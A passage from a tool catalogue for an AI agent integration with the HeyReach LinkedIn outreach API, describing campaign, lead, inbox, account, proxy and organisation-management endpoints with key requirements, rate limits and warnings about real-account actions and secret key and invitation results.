REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/AddLeadsToCampaignV2. Scopes: api. heyreach_post_api_public_campaign_addlinkedinaccountstocampaign (write) — Add up to 100 LinkedIn senders to a campaign, leaving the existing senders alone. Each account reports its own status, so a 200 can still carry per-account failures. POST /api/public/campaign/AddLinkedInAccountsToCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/AddLinkedInAccountsToCampaign. Scopes: api. heyreach_post_api_public_campaign_create (write) — Create a campaign in DRAFT. Body: name (1-50 chars), linkedInUserListId (an existing USER_LIST), linkedInAccountIds (1-100 connected senders, REQUIRED -- HeyReach answers 400 for an empty array), the three exclude* booleans, an optional excludeListId, and optional schedule and sequence objects shaped exactly as 'Replace a campaign schedule' and 'Replace a campaign sequence' document them. A campaign cannot be started without a sequence. POST /api/public/campaign/Create. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/Create. Scopes: api. heyreach_post_api_public_campaign_createcampaignfromtemplate (write) — Create a DRAFT campaign by cloning the sequence and schedule of an existing one, with a new name, lead list, senders and exclusion rules. POST /api/public/campaign/CreateCampaignFromTemplate. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/CreateCampaignFromTemplate. Scopes: api. heyreach_post_api_public_campaign_getall (read) — A paginated page of this workspace's campaigns, up to 100 per request, filterable by keyword, status and sender account. POST /api/public/campaign/GetAll. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/GetAll. Scopes: api. heyreach_post_api_public_campaign_getcampaignsforlead (read) — Every campaign holding a lead, matched by email, LinkedIn id or profile url. POST /api/public/campaign/GetCampaignsForLead. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/GetCampaignsForLead. Scopes: api. heyreach_post_api_public_campaign_getleadsfromcampaign (read) — The campaign's Lead Analytics page: leads with their campaign, connection and message status. Body: campaignId, offset, limit, and the optional time filter -- timeFrom and timeTo (ISO 8601) with timeFilter choosing which timestamp they apply to (CreationTime, Everywhere, LastActionTakenTime, FailedTime, LastActionTakenOrFailedTime; Everywhere is the default). It shows only the leads already inserted for execution, so a smaller count than the source list is normal rather than a loss. POST /api/public/campaign/GetLeadsFromCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/GetLeadsFromCampaign. Scopes: api. heyreach_post_api_public_campaign_pause (write) — Stop a running campaign. The senders stop acting on LinkedIn; lead positions in the sequence are kept, so 'Resume a campaign' continues rather than restarts. POST /api/public/campaign/Pause. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/Pause. Scopes: api. heyreach_post_api_public_campaign_removelinkedinaccountsfromcampaign (write) — Remove up to 100 LinkedIn senders from a campaign. Each account reports its own status (Success, NotPartOfThisCampaign and so on), so a 200 can still carry per-account failures. POST /api/public/campaign/RemoveLinkedInAccountsFromCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/RemoveLinkedInAccountsFromCampaign. Scopes: api. heyreach_post_api_public_campaign_resume (write) — Take a paused campaign back to running. The senders start acting on LinkedIn again from wherever each lead had reached in the sequence. POST /api/public/campaign/Resume. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/Resume. Scopes: api. heyreach_post_api_public_campaign_startcampaign (write) — Activate a DRAFT campaign. From this call the senders begin acting on LinkedIn. The campaign must already have a sequence; HeyReach refuses otherwise. POST /api/public/campaign/StartCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/StartCampaign. Scopes: api. heyreach_post_api_public_campaign_stopleadincampaign (write) — Halt one lead's progression through a campaign, named by member id or profile url. The lead stays in the campaign; no further steps run for it. POST /api/public/campaign/StopLeadInCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/StopLeadInCampaign. Scopes: api. heyreach_post_api_public_campaign_updateaccounts (write) — REPLACE the whole set of LinkedIn senders on a campaign. Any account not in the new list is removed, and on a paused campaign its leads are reassigned. Use 'Add sender accounts to a campaign' to add without removing. POST /api/public/campaign/UpdateAccounts. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/UpdateAccounts. Scopes: api. heyreach_post_api_public_campaign_updateschedule (write) — REPLACE when a campaign runs: daily window, active weekdays, timezone and optional start and end dates. Allowed only in DRAFT, SCHEDULED or PAUSED. This is a full replacement, not a merge. POST /api/public/campaign/UpdateSchedule. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/UpdateSchedule. Scopes: api. heyreach_post_api_public_campaign_updatesequence (write) — Create or fully REPLACE a campaign's workflow tree. Body: campaignId and a sequence root node. A node carries nodeType (CONNECTION_REQUEST, MESSAGE, INMAIL, VIEW_PROFILE, FOLLOW, LIKE_POST, FIND_EMAIL, CHECK_IS_CONNECTION, CHECK_IS_OPEN_PROFILE, SEND_LEAD_TO_INSTANTLY, SEND_LEAD_TO_SMARTLEAD, SEND_LEAD_TO_BISON, END), an unconditionalNode, a conditionalNode on branching types only, actionDelay with actionDelayUnit, and a node-type-specific payload. The START node is implicit and every path must end in END; a child of an action node needs at least three hours of delay. Allowed only in DRAFT, SCHEDULED or PAUSED. POST /api/public/campaign/UpdateSequence. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/UpdateSequence. Scopes: api. heyreach_post_api_public_campaign_updatesettings (write) — Change a campaign's name, lead list and exclusion rules. Allowed only in DRAFT, SCHEDULED or PAUSED; any other status is answered 400. A SCHEDULED campaign reverts to DRAFT. POST /api/public/campaign/UpdateSettings. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/UpdateSettings. Scopes: api. heyreach_post_api_public_enrichment_enrich_email (write) — Queue an email lookup for one lead, named by exactly one of profileUrl or leadMemberId. Asynchronous: it returns a jobId to poll. Email enrichment is a metered HeyReach feature, so each call spends the account's own credits. POST /api/public/enrichment/enrich-email. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/enrichment/enrich-email. Scopes: api. heyreach_post_api_public_inbox_getconversationsv2 (read) — A page of LinkedIn conversations, up to 100, filtered by sender account, campaign, seen state and more, paged by offset. Superseded by the V3 tool, which pages by cursor; offset paging on a moving inbox can skip or repeat rows. POST /api/public/inbox/GetConversationsV2. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/inbox/GetConversationsV2. Scopes: api. heyreach_post_api_public_inbox_getconversationsv3 (read) — A cursor-paged page of LinkedIn conversations, up to 100, with a date range and the same filters as V2. Pass the returned nextCursor back rather than constructing one. Prefer this over the V2 tool. POST /api/public/inbox/GetConversationsV3. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/inbox/GetConversationsV3. Scopes: api. heyreach_post_api_public_inbox_sendmessage (write) — Send a message into an existing LinkedIn conversation from one of this workspace's senders. This is a real message from a real person's LinkedIn account; it cannot be recalled through this API. POST /api/public/inbox/SendMessage. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/inbox/SendMessage. Scopes: api. heyreach_post_api_public_inbox_setseenstatus (write) — Set the seen flag on a LinkedIn conversation for one sender. It changes what the account owner sees in their own LinkedIn inbox. POST /api/public/inbox/SetSeenStatus. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/inbox/SetSeenStatus. Scopes: api. heyreach_post_api_public_lead_addtags (write) — Add tags to a lead without disturbing the tags already on it. Name the lead by profile url or LinkedIn id. With createTagIfNotExisting the workspace tag is created on the fly. POST /api/public/lead/AddTags. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/lead/AddTags. Scopes: api. heyreach_post_api_public_lead_getlead (read) — The full lead record HeyReach holds for a LinkedIn profile url: name, headline, company, position, connections, tags and the member id every other lead tool addresses it by. POST /api/public/lead/GetLead. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/lead/GetLead. Scopes: api. heyreach_post_api_public_lead_gettags (read) — The tags on one lead, alphabetically sorted, addressed by profile url. POST /api/public/lead/GetTags. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/lead/GetTags. Scopes: api. heyreach_post_api_public_lead_replacetags (write) — REPLACE the whole tag set on a lead: every existing tag is removed and the supplied list put in its place. Use 'Add tags to a lead' to add without losing what is there. POST /api/public/lead/ReplaceTags. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/lead/ReplaceTags. Scopes: api. heyreach_post_api_public_lead_tags_createtags (write) — Create one or more tags for this workspace, ready to assign to leads. Each entry takes a displayName and a colorLabel from Blue, Green, Purple, Pink, Red, Cyan, Yellow, Orange. (HeyReach's own example writes the field as `name`; the API requires `displayName` and answers 400 'The DisplayName field is required.' otherwise -- measured 2026-09-23.) POST /api/public/lead_tags/CreateTags. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/lead_tags/CreateTags. Scopes: api. heyreach_post_api_public_li_account_getall (read) — A paginated page of the LinkedIn accounts connected to this workspace, up to 100 per request. Every campaign, inbox and network tool is addressed by an id from here, so this is usually the first call. POST /api/public/li_account/GetAll. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/GetAll. Scopes: api. heyreach_post_api_public_li_account_reconnect (write) — Re-authenticate an existing LinkedIn account using the credentials HeyReach already stores for it. Returns immediately; poll the account status. Nothing here carries a credential -- the account id is the only argument. POST /api/public/li_account/Reconnect. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/Reconnect. Scopes: api. heyreach_post_api_public_li_account_reloginrecruiter (write) — Refresh the LinkedIn Recruiter session of a connected account. The account must already be connected and must hold a live Recruiter subscription. POST /api/public/li_account/ReloginRecruiter. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/ReloginRecruiter. Scopes: api. heyreach_post_api_public_li_account_reloginsalesnavigator (write) — Refresh the Sales Navigator session of a connected LinkedIn account. The account must already be connected and must hold a live Sales Navigator subscription. POST /api/public/li_account/ReloginSalesNavigator. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/ReloginSalesNavigator. Scopes: api. heyreach_post_api_public_li_account_resync (write) — Ask HeyReach to re-read the LinkedIn profile behind a connected account. Returns immediately; poll the account status. POST /api/public/li_account/Resync. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/Resync. Scopes: api. heyreach_post_api_public_li_account_submitpin (write) — Hand HeyReach the PIN LinkedIn sent to an account that is awaiting verification. Answers 409 when the account is not awaiting one. The PIN is a single-use code the account owner reads from their own email or phone; it is useless afterwards and on its own. POST /api/public/li_account/SubmitPin. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/SubmitPin. Scopes: api. heyreach_post_api_public_li_account_updateinboxconfiguration (write) — How far back HeyReach syncs a LinkedIn account's inbox when it connects: inboxScrapeMode 0 = AllTime, 1 = HeyReachOnly. POST /api/public/li_account/UpdateInboxConfiguration. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/UpdateInboxConfiguration. Scopes: api. heyreach_post_api_public_li_account_updateproxy (write) — Move a LinkedIn account onto a different proxy. Send exactly one of proxyCountryCode (HeyReach-managed) or customProxy (your own); both or neither is answered 400. Changing the address an account logs in from is what LinkedIn notices, so change it deliberately. POST /api/public/li_account/UpdateProxy. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/li_account/UpdateProxy. Scopes: api. heyreach_post_api_public_list_addleadstolist (write) — Import up to 100 leads into a lead list. Every `customUserFields[].name` must be alphanumeric or underscore or HeyReach answers 400. Returns the number imported and nothing else -- use the V2 tool when you need to know how many were new, updated or rejected. POST /api/public/list/AddLeadsToList. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/AddLeadsToList. Scopes: api. heyreach_post_api_public_list_addleadstolistv2 (write) — The same import as 'Add leads to a list', up to 100 per call, but the response breaks the outcome down into addedLeadsCount, updatedLeadsCount and failedLeadsCount. Prefer this one: the plain version cannot tell a caller that half its leads were rejected. POST /api/public/list/AddLeadsToListV2. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/AddLeadsToListV2. Scopes: api. heyreach_post_api_public_list_createemptylist (write) — Create a lead list (type USER_LIST) or a company list (COMPANY_LIST); an empty type creates a lead list. HeyReach publishes no delete-list endpoint, so a list created here can only be removed in the dashboard. POST /api/public/list/CreateEmptyList. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/CreateEmptyList. Scopes: api. heyreach_post_api_public_list_getall (read) — A paginated page of this workspace's lists, up to 100 per request, filterable by keyword, list type and the campaigns that use them. POST /api/public/list/GetAll. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/GetAll. Scopes: api. heyreach_post_api_public_list_getcompaniesfromlist (read) — A paginated page of the companies in a company list, up to 1000 per request. POST /api/public/list/GetCompaniesFromList. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/GetCompaniesFromList. Scopes: api. heyreach_post_api_public_list_getleadsfromlist (read) — A paginated page of the leads in a lead list, up to 1000 per request, filterable by keyword, profile url, LinkedIn member id and creation date. Each lead carries both an `id` and the `linkedin_id` member id the delete and tag tools address it by. POST /api/public/list/GetLeadsFromList. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/GetLeadsFromList. Scopes: api. heyreach_post_api_public_list_getlistsforlead (read) — Every lead list holding a lead, matched by email, LinkedIn id or profile url. Send whichever identifier you have. POST /api/public/list/GetListsForLead. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/list/GetListsForLead. Scopes: api. heyreach_post_api_public_management_organizations_api_keys_workspaces_by_workspaceid (write, destructive) — Generate a new integration key of one type (PUBLIC, N8N, MAKE, ZAPIER or MCP) for a workspace, and return it. Body: apiKeyType. TWO CONSEQUENCES BEFORE YOU CALL IT. First, it SUPERSEDES the workspace's existing key of that type -- the response's `previousKeyStatus` reports what happened to it -- and for PUBLIC on the connected workspace that is the key this Agentic Fabriq connection authenticates with, so the connection stops working until the new key is pasted into it. Second, the new key comes back in `key` in full, because handing it over is the whole point of the tool. POST /api/public/management/organizations/api-keys/workspaces/{workspaceId}. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. DESTRUCTIVE and not reversible through this API. THE RESULT IS A SECRET: this tool returns `key` IN FULL, because creating it is what the tool does, and nothing downstream redacts a tool result. Treat the whole result as credential material -- hand it to the person who needs it and do not repeat it. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/api-keys/workspaces/{workspaceId}. Scopes: api. heyreach_post_api_public_management_organizations_linkedin_accounts (read) — Every LinkedIn account in the organization, across workspaces, with pagination, keyword search and an optional workspaceIds filter (empty means all). The organization-wide counterpart of 'List LinkedIn sender accounts', which sees one workspace. POST /api/public/management/organizations/linkedin-accounts. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/linkedin-accounts. Scopes: api. heyreach_post_api_public_management_organizations_linkedin_accounts_movetoworkspace (write) — Move one LinkedIn account out of its current workspace into another. Its campaigns, conversations and history follow the account, so this changes what both workspaces can see. POST /api/public/management/organizations/linkedin-accounts/MoveToWorkspace. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/linkedin-accounts/MoveToWorkspace. Scopes: api. heyreach_post_api_public_management_organizations_users (read) — Every existing and invited user in the organization, filterable by role and invitation status, with each one's organization and per-workspace permissions. POST /api/public/management/organizations/users. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. Agentic Fabriq replaces `invitationUrl` in the response with a marker, and the field name is kept so you can still see WHICH of them exist. HeyReach returns live credentials in those fields -- keys and invitation links this caller did not create, including other workspaces' -- and a tool result is not redacted anywhere downstream. Read the real values in the HeyReach dashboard. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/users. Scopes: api. heyreach_post_api_public_management_organizations_users_invite_admins (write) — Invite one or more people as organization ADMINS. HeyReach sends no email: it returns a join URL per invitee, in full, for you to deliver yourself -- so the URL is the operation's only output and is not redacted. ANYONE WHO OPENS THAT URL BECOMES AN ADMIN of the organization, able to manage every workspace, its members and its billing, so deliver it to the intended person and nowhere else. POST /api/public/management/organizations/users/invite/admins. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. THE RESULT IS A SECRET: this tool returns `invitationUrl` IN FULL, because creating it is what the tool does, and nothing downstream redacts a tool result. Treat the whole result as credential material -- hand it to the person who needs it and do not repeat it. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/users/invite/admins. Scopes: api. heyreach_post_api_public_management_organizations_users_invite_managers (write) — Invite one or more people as managers: users who sit outside the organization and reach only the workspaces named here. HeyReach sends no email: it returns a join URL per invitee, in full, for you to deliver yourself -- so the URL is the operation's only output and is not redacted. Whoever opens it gains access to those workspaces, so deliver it to the intended person and nowhere else. POST /api/public/management/organizations/users/invite/managers. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. THE RESULT IS A SECRET: this tool returns `invitationUrl` IN FULL, because creating it is what the tool does, and nothing downstream redacts a tool result. Treat the whole result as credential material -- hand it to the person who needs it and do not repeat it. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/users/invite/managers. Scopes: api. heyreach_post_api_public_management_organizations_users_invite_members (write) — Invite one or more people as organization members, naming the workspaces and the per-workspace permissions each one gets. HeyReach sends no email: it returns a join URL per invitee, in full, for you to deliver yourself -- so the URL is the operation's only output and is not redacted. Whoever opens it joins the organization with the permissions named here, so deliver it to the intended person and nowhere else. POST /api/public/management/organizations/users/invite/members. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. THE RESULT IS A SECRET: this tool returns `invitationUrl` IN FULL, because creating it is what the tool does, and nothing downstream redacts a tool result. Treat the whole result as credential material -- hand it to the person who needs it and do not repeat it. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/users/invite/members. Scopes: api. heyreach_post_api_public_management_organizations_users_workspaces_by_workspaceid (read) — Every user in one workspace with their role and permissions, filterable by role and invitation status. POST /api/public/management/organizations/users/workspaces/{workspaceId}. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. Agentic Fabriq replaces `invitationUrl` in the response with a marker, and the field name is kept so you can still see WHICH of them exist. HeyReach returns live credentials in those fields -- keys and invitation links this caller did not create, including other workspaces' -- and a tool result is not redacted anywhere downstream. Read the real values in the HeyReach dashboard. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/users/workspaces/{workspaceId}. Scopes: api. heyreach_post_api_public_management_organizations_workspaces (write) — Create a workspace in the organization. HeyReach publishes no delete-workspace endpoint, so one created here can only be removed in the dashboard. POST /api/public/management/organizations/workspaces. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/management/organizations/workspaces. Scopes: api. heyreach_post_api_public_mynetwork_getmynetworkforsender (read) — A paginated page of one sender account's LinkedIn connections. An id that names no account in this workspace is answered 200 with an empty page rather than an error (measured 2026-09-23), so check the count against a sender you know exists. POST /api/public/MyNetwork/GetMyNetworkForSender. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/MyNetwork/GetMyNetworkForSender. Scopes: api. heyreach_post_api_public_mynetwork_isconnection (read) — Whether one lead is already 